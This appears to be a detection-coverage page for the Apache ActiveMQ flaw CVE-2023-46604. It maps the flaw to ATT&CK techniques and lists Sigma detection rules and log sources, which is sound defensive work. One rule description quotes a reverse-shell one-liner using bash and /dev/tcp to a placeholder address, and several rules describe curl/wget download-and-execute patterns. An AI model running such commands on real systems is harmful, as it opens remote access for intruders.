Coverage › CVE-2023-46604

CVE-2023-46604 Mapped Sigma

Apache ActiveMQ Deserialization of Untrusted Data Vulnerability

Vendor / product: Apache — ActiveMQ
Description (CISA): Apache ActiveMQ contains a deserialization of untrusted data vulnerability that may allow a remote attacker with network access to a broker to run shell commands by manipulating serialized class types in the OpenWire protocol to cause the broker to instantiate any class on the classpath.
Added to KEV: 2023-11-02
Due date: 2023-11-23
Required action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Known ransomware use: Known
CWE: CWE-502
CISA notes: https://activemq.apache.org/security-advisories.data/CVE-2023-46604-announcement.txt
https://nvd.nist.gov/vuln/detail/CVE-2023-46604
Elsewhere: cve.org · NVD · CISA KEV · JSON

ATT&CK techniques · CTID Mappings Explorer, ATT&CK 16.1, KEV snapshot 2025-07-28

3 mapping objects across 3 techniques. exploitation technique states how the vulnerability is exploited; primary and secondary impact state what exploitation achieves. They are different claims and are labelled as such.

Technique	Mapping type	CTID comment	Status in v19.2
T1190 Exploit Public-Facing Application	exploitation technique	This vulnerability is exploited by a remote attacker who manipulates serialized class types in the OpenWire protocol to run arbitrary shell commands. This allows the adversary to execute remote code, leading to the download and installation of malware, such as the Kinsing malware and cryptocurrency miners, on Linux systems. Additionally, attackers have attempted to deploy ransomware, attributed to the HelloKitty ransomware family, on target systems. ref 1 · ref 2 · ref 3	live
T1053.005 Scheduled Task	secondary impact	This vulnerability is exploited by a remote attacker who manipulates serialized class types in the OpenWire protocol to run arbitrary shell commands. This allows the adversary to execute remote code, leading to the download and installation of malware, such as the Kinsing malware and cryptocurrency miners, on Linux systems. Additionally, attackers have attempted to deploy ransomware, attributed to the HelloKitty ransomware family, on target systems. ref 1 · ref 2 · ref 3	live
T1059.004 Unix Shell	primary impact	This vulnerability is exploited by a remote attacker who manipulates serialized class types in the OpenWire protocol to run arbitrary shell commands. This allows the adversary to execute remote code, leading to the download and installation of malware, such as the Kinsing malware and cryptocurrency miners, on Linux systems. Additionally, attackers have attempted to deploy ransomware, attributed to the HelloKitty ransomware family, on target systems. ref 1 · ref 2 · ref 3	live

Detection chain · ATT&CK Enterprise v19.2 detection strategies, analytics, log sources

T1053.005 Scheduled Task secondary impact

DET0441 Detection of Suspicious Scheduled Task Creation and Execution on Windows
AN1221 Windows
Detects the creation, modification, or deletion of scheduled tasks through Task Scheduler, WMI, PowerShell, or API-based methods followed by execution from svchost.exe or taskeng.exe. Includes detection of hidden or anomalous scheduled tasks, especially those created under SYSTEM or suspicious user contexts.

WinEventLog:Security EventCode=4698 → DC0001 Scheduled Job Creation
WinEventLog:Security EventCode=4702 → DC0012 Scheduled Job Modification
WinEventLog:Sysmon EventCode=1 → DC0032 Process Creation
WinEventLog:Sysmon EventCode=11 → DC0039 File Creation
WinEventLog:Sysmon EventCode=13, 14 → DC0063 Windows Registry Key Modification

Tunable: TimeWindow UserContext TaskNamePattern CommandLineEntropyThreshold

Sigma rules tagged `attack.t1053.005` (51)

ChromeLoader Malware Execution hightest

Author: @kostastsale · 2022-01-10 · logsource: product=windows category=process_creation · 0a74c5a9-1b71-4475-9af2-7829d320d5c2

Detects execution of ChromeLoader malware via a registered scheduled task

Suspicious Modification Of Scheduled Tasks hightest

Author: Nasreddine Bencherchali (Nextron Systems) · 2022-07-28 (modified 2022-11-18) · logsource: product=windows category=process_creation · 1c0e41cd-21bb-4433-9acc-4a2cd6367b9b

Detects when an attacker tries to modify an already existing scheduled tasks to run from a suspicious location Attackers can create a simple looking task in order to avoid detection on creation as it's often the most focused on Instead they modify the task after creation to include their malicious payload

Techniques: T1053.005

Operation Wocao Activity hightest

Author: Florian Roth (Nextron Systems), frack113 · 2019-12-20 (modified 2022-10-09) · logsource: product=windows category=process_creation · 1cfac73c-be78-4f9a-9b08-5bde0c3953ab

Detects activity mentioned in Operation Wocao report

Techniques: T1012 T1036.004 T1027 T1053.005 T1059.001

Scheduled Task Creation with Curl and PowerShell Execution Combo mediumexperimental

Author: Swachchhanda Shrawan Poudel (Nextron Systems) · 2025-02-05 · logsource: product=windows category=process_creation · 1d174d38-8fda-4081-a9b6-56d9763c0cd8

Detects the creation of a scheduled task using schtasks.exe, potentially in combination with curl for downloading payloads and PowerShell for executing them. This facilitates executing malicious payloads or connecting with C&C server persistently without dropping the malware sample on the host.

Techniques: T1053.005 T1218 T1105

Suspicious Schtasks Schedule Types hightest

Author: Nasreddine Bencherchali (Nextron Systems) · 2022-09-09 · logsource: product=windows category=process_creation · 24c8392b-aa3c-46b7-a545-43f71657fe98

Detects scheduled task creations or modification on a suspicious schedule type

Techniques: T1053.005

Potential SSH Tunnel Persistence Install Using A Scheduled Task highexperimental

Author: Rory Duncan · 2025-07-14 · logsource: product=windows category=process_creation · 2daa93a0-a5fb-41c5-8cd8-3c11294bfd1f

Detects the creation of new scheduled tasks via commandline, using Schtasks.exe. This rule detects tasks creating that call OpenSSH, which may indicate the creation of reverse SSH tunnel to the attacker's server.

Techniques: T1053.005

Powershell Create Scheduled Task mediumtest

Author: frack113 · 2021-12-28 (modified 2025-10-07) · logsource: product=windows category=ps_script · 363eccc0-279a-4ccf-a3ab-24c2e63b11fb

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code

Techniques: T1053.005

Suspicious Scheduled Task Creation Involving Temp Folder hightest

Author: Florian Roth (Nextron Systems) · 2021-03-11 (modified 2022-10-09) · logsource: product=windows category=process_creation · 39019a4e-317f-4ce3-ae63-309a8c6b53c5

Detects the creation of scheduled tasks that involves a temporary folder and runs only once

Techniques: T1053.005

Suspicious Scheduled Task Creation hightest

Author: Nasreddine Bencherchali (Nextron Systems) · 2022-12-05 (modified 2022-12-07) · logsource: product=windows service=security · 3a734d25-df5c-4b99-8034-af1ddb5883a4

Detects suspicious scheduled task creation events. Based on attributes such as paths, commands line flags, etc.

Techniques: T1053.005

Diamond Sleet APT Scheduled Task Creation criticaltest

Author: Nasreddine Bencherchali (Nextron Systems) · 2023-10-24 · logsource: product=windows service=security · 3b8e5084-4de9-449a-a40d-0e11014f2e2d

Detects registry event related to the creation of a scheduled task used by Diamond Sleet APT during exploitation of Team City CVE-2023-42793 vulnerability

Techniques: T1053.005

Task Scheduler DLL Loaded By Application Located In Potentially Suspicious Location lowtest

Author: Swachchhanda Shrawan Poudel · 2024-09-02 · logsource: product=windows category=image_load · 3b92a1d0-8d4b-4d28-a1b4-1e29d49a6a3e

Detects the loading of the "taskschd.dll" module from a process that located in a potentially suspicious or uncommon directory. The loading of this DLL might indicate that the application have the capability to create a scheduled task via the "Schedule.Service" COM object. Investigation of the loading application and its behavior is required to determining if its malicious.

Techniques: T1053.005

Scheduled Task Executed From A Suspicious Location mediumtest

Author: Nasreddine Bencherchali (Nextron Systems) · 2022-12-05 (modified 2023-02-07) · logsource: product=windows service=taskscheduler · 424273ea-7cf8-43a6-b712-375f925e481f

Detects the execution of Scheduled Tasks where the Program being run is located in a suspicious location or it's an unusale program to be run from a Scheduled Task

Techniques: T1053.005

Scheduled TaskCache Change by Uncommon Program hightest

Author: Syed Hasan (@syedhasan009) · 2021-06-18 (modified 2025-10-22) · logsource: product=windows category=registry_set · 4720b7df-40c3-48fd-bbdf-fd4b3c464f0d

Monitor the creation of a new key under 'TaskCache' when a new scheduled task is registered by a process that is not svchost.exe, which is suspicious

Techniques: T1053 T1053.005

Scheduled Task Deletion lowtest

Author: David Strassegger, Tim Shelton · 2021-01-22 (modified 2023-01-20) · logsource: product=windows service=security · 4f86b304-3e02-40e3-aa5d-e88a167c9617

Detects scheduled task deletion events. Scheduled tasks are likely to be deleted if not used for persistence. Malicious Software often creates tasks directly under the root node e.g. \TASKNAME

Techniques: T1053.005

OilRig APT Schedule Task Persistence - System criticaltest

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community · 2018-03-23 (modified 2023-03-08) · logsource: product=windows service=system · 53ba33fd-3a50-4468-a5ef-c583635cfa92

Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report

Techniques: T1053.005 T1543.003 T1112 T1071.004

All 51 rules on the technique page →

T1059.004 Unix Shell primary impact

DET0384 Behavioral Detection of Unix Shell Execution
AN1081 Linux
Detects bash, sh, zsh, or BusyBox shell execution initiated via remote sessions, unauthorized users, or embedded within secondary script interpreters. Focus is on chained behavior: shell > suspicious commands > network discovery or persistence indicators.

auditd:SYSCALL execve → DC0032 Process Creation
linux:osquery socket_events → DC0078 Network Traffic Flow
linux:syslog auth.log / secure.log → DC0067 Logon Session Creation

Tunable: ExecutableName UserContext ParentProcess TimeWindow CommandLinePattern

AN1082 macOS
Identifies use of sh/bash/zsh in suspicious context, such as user scripts launched from non-standard apps (e.g., Preview.app), embedded in LaunchDaemons, or executed outside Terminal.app. Looks for misuse in Automator, LaunchAgents, or NSAppleScript-executed shell.

macos:unifiedlog log stream --predicate 'eventMessage contains "exec"' → DC0032 Process Creation
macos:osquery launchd + process_events → DC0064 Command Execution
macos:syslog system.log, asl.log → DC0029 Script Execution

Tunable: ScriptLocation ParentProcess UserRole

AN1083 ESXi
Detects BusyBox or Ash shell execution from unauthorized logins or remote connections. Focus is on rare shell invocations from DCUI, SSH sessions, or remote management paths. Also watches for payload droppers or persistence artifacts using shell.

esxi:vmkernel DCUI shell start, BusyBox activity → DC0064 Command Execution
esxi:auth Shell login or escalation → DC0067 Logon Session Creation

Tunable: UserContext CommandPattern ShellPath

AN1084 Network Devices
Detects Unix shell usage on network appliances (e.g., routers, firewalls, embedded Linux) through rare console commands, CLI interfaces, or script injection via exposed APIs or SSH.

networkdevice:syslog CLI Command Audit → DC0064 Command Execution
NSM:Flow remote access → DC0082 Network Connection Creation

Tunable: Interface CommandString

Sigma rules tagged `attack.t1059.004` (18)

Axios NPM Compromise Indicators - Linux highexperimental

Author: Swachchhanda Shrawan Poudel (Nextron Systems) · 2026-04-01 · logsource: product=linux category=process_creation · 0a23a62d-c5b3-468b-a072-25064a9a8c87

Detects the Linux-specific execution chain of the plain-crypto-js malicious npm dependency by Axios NPM package, including payload download via curl and detached execution using nohup and python3. On March 30, 2026, malicious versions (1.14.1, 0.30.4) were published to npm, injecting a dependency (plain-crypto-js@4.2.1) that executed a postinstall script as a cross-platform RAT dropper. The dropper contacted a C2 server, delivered platform-specific payloads, deleted itself, and replaced package.json to evade detection.

Techniques: T1195.002 T1059.006 T1059.004 T1105

Potentially Suspicious Long Filename Pattern - Linux lowexperimental

Author: @kostastsale · 2025-11-22 · logsource: product=linux category=file_event · 11629c4d-0fe6-465b-be62-b39a1c442aad

Detects the creation of files with unusually long filenames (100 or more characters), which may indicate obfuscation techniques used by malware such as VShell. This is a hunting rule to identify potential threats that use long filenames to evade detection. Keep in mind that on a legitimate system, such long filenames can and are common. Run this detection in the context of threat hunting rather than alerting. Adjust the threshold of filename length as needed based on your environment.

Techniques: T1059.004 T1027

Suspicious Commands Linux mediumtest

Author: Florian Roth (Nextron Systems) · 2017-12-12 (modified 2022-10-05) · logsource: product=linux service=auditd · 1543ae20-cbdf-4ec1-8d12-7664d667a825

Detects relevant commands often related to malware or hacking activity

Techniques: T1059.004

Suspicious Filename with Embedded Base64 Commands highexperimental

Author: @kostastsale · 2025-11-22 · logsource: product=linux category=file_event · 179b3686-6271-4d87-807d-17d843a8af73

Detects files with specially crafted filenames that embed Base64-encoded bash payloads designed to execute when processed by shell scripts. These filenames exploit shell interpretation quirks to trigger hidden commands, a technique observed in VShell malware campaigns.

Techniques: T1059.004 T1027

AWS EC2 Startup Shell Script Change hightest

Author: faloker · 2020-02-12 (modified 2022-06-07) · logsource: product=aws service=cloudtrail · 1ab3c5ed-5baf-417b-bb6b-78ca33f6c3df

Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up.

Techniques: T1059.001 T1059.003 T1059.004

Suspicious Activity in Shell Commands hightest

Author: Florian Roth (Nextron Systems) · 2017-08-21 (modified 2021-11-27) · logsource: product=linux · 2aa1440c-9ae9-4d92-84a7-a9e5f5e31695

Detects suspicious shell commands used in various exploit codes (see references)

Techniques: T1059.004

Equation Group Indicators hightest

Author: Florian Roth (Nextron Systems) · 2017-04-09 (modified 2021-11-27) · logsource: product=linux · 41e5c73d-9983-4b69-bd03-e13b67e9623c

Detects suspicious shell commands used in various Equation Group scripts and tools

Techniques: T1059.004

Suspicious Reverse Shell Command Line hightest

Author: Florian Roth (Nextron Systems) · 2019-04-02 (modified 2021-11-27) · logsource: product=linux · 738d9bcf-6999-4fdb-b4ac-3033037db8ab

Detects suspicious shell commands or program code that may be executed or used in command line to establish a reverse shell

Techniques: T1059.004

Linux Reverse Shell Indicator criticaltest

Author: Florian Roth (Nextron Systems) · 2021-10-16 (modified 2022-12-25) · logsource: product=linux category=network_connection · 83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871

Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')

Techniques: T1059.004

JexBoss Command Sequence hightest

Author: Florian Roth (Nextron Systems) · 2017-08-24 (modified 2025-11-22) · logsource: product=linux · 8ec2c8b4-557a-4121-b87c-5dfb3a602fae

Detects suspicious command sequence that JexBoss

Techniques: T1059.004

Axios NPM Compromise Indicators - macOS highexperimental

Author: Swachchhanda Shrawan Poudel (Nextron Systems) · 2026-04-01 · logsource: product=macos category=process_creation · a09ee860-31b3-4586-8a68-0ebd74ce0e5f

Detects the macOS-specific execution chain of the plain-crypto-js malicious npm dependency in Axios NPM Package, including AppleScript execution via osascript, payload download, permission modification, execution, and cleanup.

Techniques: T1195.002 T1059.002 T1059.004 T1105

Suspicious Download and Execute Pattern via Curl/Wget highexperimental

Author: Aayush Gupta · 2025-06-17 · logsource: product=linux category=process_creation · a2d9e2f3-0f43-4c7a-bcd9-9acfc0d723aa

Detects suspicious use of command-line tools such as curl or wget to download remote content - particularly scripts - into temporary directories (e.g., /dev/shm, /tmp), followed by immediate execution, indicating potential malicious activity. This pattern is commonly used by malicious scripts, stagers, or downloaders in fileless or multi-stage Linux attacks.

Techniques: T1059.004 T1203

Shell Invocation via Env Command - Linux hightest

Author: Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.) · 2024-09-02 (modified 2026-01-08) · logsource: product=linux category=process_creation · bed978f8-7f3a-432b-82c5-9286a9b3031a

Detects the use of the env command to invoke a shell. This may indicate an attempt to bypass restricted environments, escalate privileges, or execute arbitrary commands.

Techniques: T1059.004

Nohup Execution mediumtest

Author: Christopher Peacock @SecurePeacock, SCYTHE @scythe_io · 2022-06-06 · logsource: product=linux category=process_creation · e4ffe466-6ff8-48d4-94bd-e32d1a6061e2

Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments

Techniques: T1059.004

Interactive Bash Suspicious Children mediumtest

Author: Florian Roth (Nextron Systems) · 2022-03-14 · logsource: product=linux category=process_creation · ea3ecad2-db86-4a89-ad0b-132a10d2db55

Detects suspicious interactive bash as a parent to rather uncommon child processes

Techniques: T1059.004 T1036

All 18 rules on the technique page →

T1190 Exploit Public-Facing Application exploitation technique

DET0080 Exploit Public-Facing Application – multi-signal correlation (request → error → post-exploit process/egress)
AN0219 Windows
Adversary sends crafted HTTP/S (or other service) input to an Internet-facing app (IIS/ASP.NET, API, device portal). Chain: (1) abnormal request patterns to public endpoint → (2) elevated 4xx/5xx or unusual methods/paths → (3) server process (w3wp.exe/other service) spawns shell/LOLbins or loads non-standard modules → (4) optional outbound callback from the host/container.

ApplicationLog:IIS IIS W3C logs in C:\inetpub\logs\LogFiles\W3SVC* (spikes in 5xx, RCE/SQLi/path traversal/JNDI patterns) → DC0038 Application Log Content
WinEventLog:Sysmon EventCode=1 → DC0032 Process Creation
WinEventLog:Sysmon EventCode=7 → DC0016 Module Load
WinEventLog:Sysmon EventCode=3, 22 → DC0082 Network Connection Creation

Tunable: PublicVIPs SuspiciousPatterns ErrorRateThreshold TimeWindow AllowedChildList

AN0220 Linux
Adversary exploits Apache/Nginx/app servers. Chain: (1) suspicious requests in access logs → (2) spike of 5xx or WAF blocks → (3) web server or interpreter (apache2/nginx/php-fpm/node/python) spawns /bin/sh, curl, wget, socat, or writes webshell → (4) outbound callback.

ApplicationLog:WebServer /var/log/httpd/access_log, /var/log/apache2/access.log, /var/log/nginx/access.log with exploit indicators and burst errors → DC0038 Application Log Content
auditd:SYSCALL execve → DC0032 Process Creation
NSM:Flow HTTP payloads with SQLi/LFI/JNDI/deserialization indicators → DC0085 Network Traffic Content

Tunable: WebProcList ChildToolList BurstThreshold TimeWindow

AN0221 macOS
Adversary targets macOS-hosted public services (e.g., nginx, node). Chain: suspicious inbound request → service crash/5xx → service spawns shell or writes file → new outbound connection.

macos:unifiedlog App/web server logs ingested via unified logging or filebeat (nginx/apache/node). → DC0038 Application Log Content
macos:unifiedlog exec events where web process starts a shell/tooling → DC0032 Process Creation
NSM:Flow outbound egress from web host after suspicious request → DC0085 Network Traffic Content

Tunable: ServiceList TimeWindow

AN0222 Containers
Adversary exploits containerized app via ingress or service. Chain: (1) suspicious request in ingress/app logs → (2) container process spawns a shell/exec/sidecar (kubectl exec/docker exec) → (3) egress to Internet or metadata service (169.254.169.254).

ApplicationLog:Ingress Kubernetes NGINX/Envoy ingress controller logs with anomalous payloads and 5xx spikes → DC0038 Application Log Content
docker:events Docker/Kubernetes audit of exec/attach (kubectl exec) or unexpected child processes inside container → DC0032 Process Creation
NSM:Flow Requests towards cloud metadata or command & control from pod IPs → DC0085 Network Traffic Content

Tunable: IngressNamespaces MetadataEndpoints TimeWindow

AN0223 IaaS
Adversary targets cloud-hosted public endpoints. Chain: (1) ALB/ELB/Cloud LB logs show exploit-like inputs or error spikes → (2) workload spawns shell or reaches metadata API → (3) egress to new external hosts.

ALB:HTTPLogs AWS ALB/ELB/GCP/Azure Application Gateway HTTP logs with unusual methods, long URIs, serialized payloads, 4xx/5xx bursts → DC0085 Network Traffic Content
AWS:VPCFlowLogs VPC/NSG flow logs for pod/instance egress to Internet or metadata → DC0078 Network Traffic Flow

Tunable: LBProjects ErrorBurst

AN0224 ESXi
Adversary exploits exposed OpenSLP on ESXi or vCenter public endpoints. Chain: inbound request pattern to mgmt service → hostd/vpxd error/crash/restart → unexpected process behavior or datastore access → outbound callback.

esxi:hostd /var/log/hostd.log anomalies (faults, crashes, restarts) around inbound connections → DC0038 Application Log Content
NSM:Flow Connections to TCP 427 (SLP) or vCenter web services from untrusted sources → DC0085 Network Traffic Content

Tunable: MgmtCIDR TimeWindow

AN0225 Network Devices
Adversary exploits public admin services on routers/firewalls/switches. Chain: anomalous HTTP/SNMP/SmartInstall inputs → device syslog errors/restarts → config changes/CLI spawn → egress to attacker C2.

networkdevice:controlplane Syslog from edge devices with HTTP 500s on mgmt portal, SmartInstall events, unexpected CLI commands → DC0038 Application Log Content
NSM:Flow NetFlow/sFlow for odd egress to Internet from mgmt plane → DC0085 Network Traffic Content

Tunable: MgmtPorts TrustedAdmins

Sigma rules tagged `attack.t1190` (149)

Potential CVE-2023-25717 Exploitation Attempt hightest

Author: Nasreddine Bencherchali (Nextron Systems) · 2023-05-30 · logsource: category=webserver · 043c1609-0e32-4462-a6f2-5a0c2da3fafe

Detects a potential exploitation attempt of CVE-2023-25717 a Remote Code Execution via an unauthenticated HTTP GET Request, in Ruckus Wireless Admin

Techniques: T1190

CVE tags: CVE-2023-25717

Potential CVE-2021-27905 Exploitation Attempt mediumtest

Author: @gott_cyber · 2022-12-11 (modified 2023-03-24) · logsource: category=webserver · 0bbcd74b-0596-41a4-94a0-4e88a76ffdb3

Detects exploitation attempt of the CVE-2021-27905 which affects all Apache Solr versions prior to and including 8.8.1.

Techniques: T1190

CVE tags: CVE-2021-27905

Citrix ADS Exploitation CVE-2020-8193 CVE-2020-8195 criticaltest

Author: Florian Roth (Nextron Systems) · 2020-07-10 (modified 2023-01-02) · logsource: category=webserver · 0d0d9a8a-a49e-4e27-b061-7ce4b936cfb7

Detects exploitation attempt against Citrix Netscaler, Application Delivery Controller (ADS) and Citrix Gateway exploiting vulnerabilities reported as CVE-2020-8193 and CVE-2020-8195

Techniques: T1190

CVE tags: CVE-2020-8193CVE-2020-8195

Ruby on Rails Framework Exceptions mediumstable

Author: Thomas Patzke · 2017-08-06 (modified 2020-09-01) · logsource: product=ruby_on_rails category=application · 0d2c3d4c-4b48-4ac3-8f23-ea845746bb1a

Detects suspicious Ruby on Rails exceptions that could indicate exploitation attempts

Techniques: T1190

Potential CVE-2023-23752 Exploitation Attempt hightest

Author: Bhabesh Raj · 2023-02-23 · logsource: category=webserver · 0e1ebc5a-15d0-4bf6-8199-b2535397433a

Detects the potential exploitation attempt of CVE-2023-23752 an Improper access check, in web service endpoints in Joomla

Techniques: T1190

CVE tags: CVE-2023-23752

Potential Exploitation of CrushFTP RCE Vulnerability (CVE-2025-54309) highexperimental

Author: Nisarg Suthar · 2025-08-01 · logsource: product=windows category=process_creation · 0fdc7c7f-c690-4217-9ae3-31f5156eed72

Detects suspicious child processes created by CrushFTP. It could be an indication of exploitation of a RCE vulnerability such as CVE-2025-54309.

Techniques: T1059.001 T1059.003 T1068 T1190

CVE tags: CVE-2025-54309

Terminal Service Process Spawn hightest

Author: Florian Roth (Nextron Systems) · 2019-05-22 (modified 2023-01-25) · logsource: product=windows category=process_creation · 1012f107-b8f1-4271-af30-5aed2de89b39

Detects a process spawned by the terminal service server process (this could be an indicator for an exploitation of CVE-2019-0708)

Techniques: T1190 T1210

RDS Database Security Group Modification mediumtest

Author: jamesc-grafana · 2024-07-11 · logsource: product=aws service=cloudtrail · 14f3f1c8-02d5-43a2-a191-91ffb52d3015

Detects changes to the security group entries for RDS databases. This can indicate that a misconfiguration has occurred which potentially exposes the database to the public internet, a wider audience within the VPC or that removal of valid rules has occurred which could impact the availability of the database to legitimate services and users.

Techniques: T1190

Cisco ASA Exploitation Activity - Proxy highexperimental

Author: Swachchhanda Shrawan Poudel (Nextron Systems) · 2025-11-20 · logsource: category=proxy · 15697955-6a29-47ca-92e9-0e05efae3260

Detects suspicious requests to Cisco ASA WebVpn via proxy logs associated with CVE-2025-20333 and CVE-2025-20362 exploitation.

Techniques: T1190

CVE tags: CVE-2025-20333CVE-2025-20362

TerraMaster TOS CVE-2020-28188 hightest

Author: Bhabesh Raj · 2021-01-25 (modified 2023-01-02) · logsource: category=webserver · 15c312b9-00d0-4feb-8870-7d940a4bdc5e

Detects the exploitation of the TerraMaster TOS vulnerability described in CVE-2020-28188

Techniques: T1190

CVE tags: CVE-2020-28188

Potential Server Side Template Injection In Velocity hightest

Author: Moti Harmats · 2023-02-11 · logsource: product=velocity category=application · 16c86189-b556-4ee8-b4c7-7e350a195a4f

Detects exceptions in velocity template renderer, this most likely happens due to dynamic rendering of user input and may lead to RCE.

Techniques: T1190

CVE-2021-21972 VSphere Exploitation hightest

Author: Bhabesh Raj · 2021-02-24 (modified 2023-01-02) · logsource: category=webserver · 179ed852-0f9b-4009-93a7-68475910fd86

Detects the exploitation of VSphere Remote Code Execution vulnerability as described in CVE-2021-21972

Techniques: T1190

CVE tags: CVE-2021-21972

Potential OWASSRF Exploitation Attempt - Webserver hightest

Author: Nasreddine Bencherchali (Nextron Systems) · 2022-12-22 (modified 2023-01-02) · logsource: category=webserver · 181f49fa-0b21-4665-a98c-a57025ebb8c7

Detects exploitation attempt of the OWASSRF variant targeting exchange servers It uses the OWA endpoint to access the powershell backend endpoint

Techniques: T1190

Suspicious User-Agents Related To Recon Tools mediumtest

Author: Nasreddine Bencherchali (Nextron Systems), Tim Shelton · 2022-07-19 (modified 2026-06-11) · logsource: category=webserver · 19aa4f58-94ca-45ff-bc34-92e533c0994a

Detects known suspicious (default) user-agents related to scanning/recon tools

Techniques: T1190

Python SQL Exceptions mediumstable

Author: Thomas Patzke · 2017-08-12 (modified 2020-09-01) · logsource: product=python category=application · 19aefed0-ffd4-47dc-a7fc-f8b1425e84f9

Generic rule for SQL exceptions in Python according to PEP 249

Techniques: T1190

All 149 rules on the technique page →

CVE-2023-46604 Mapped Sigma

ATT&CK techniques · CTID Mappings Explorer, ATT&CK 16.1, KEV snapshot 2025-07-28

Detection chain · ATT&CK Enterprise v19.2 detection strategies, analytics, log sources

T1053.005 Scheduled Task secondary impact

Sigma rules tagged attack.t1053.005 (51)

T1059.004 Unix Shell primary impact

Sigma rules tagged attack.t1059.004 (18)

T1190 Exploit Public-Facing Application exploitation technique

Sigma rules tagged attack.t1190 (149)

Sigma rules tagged `attack.t1053.005` (51)

Sigma rules tagged `attack.t1059.004` (18)

Sigma rules tagged `attack.t1190` (149)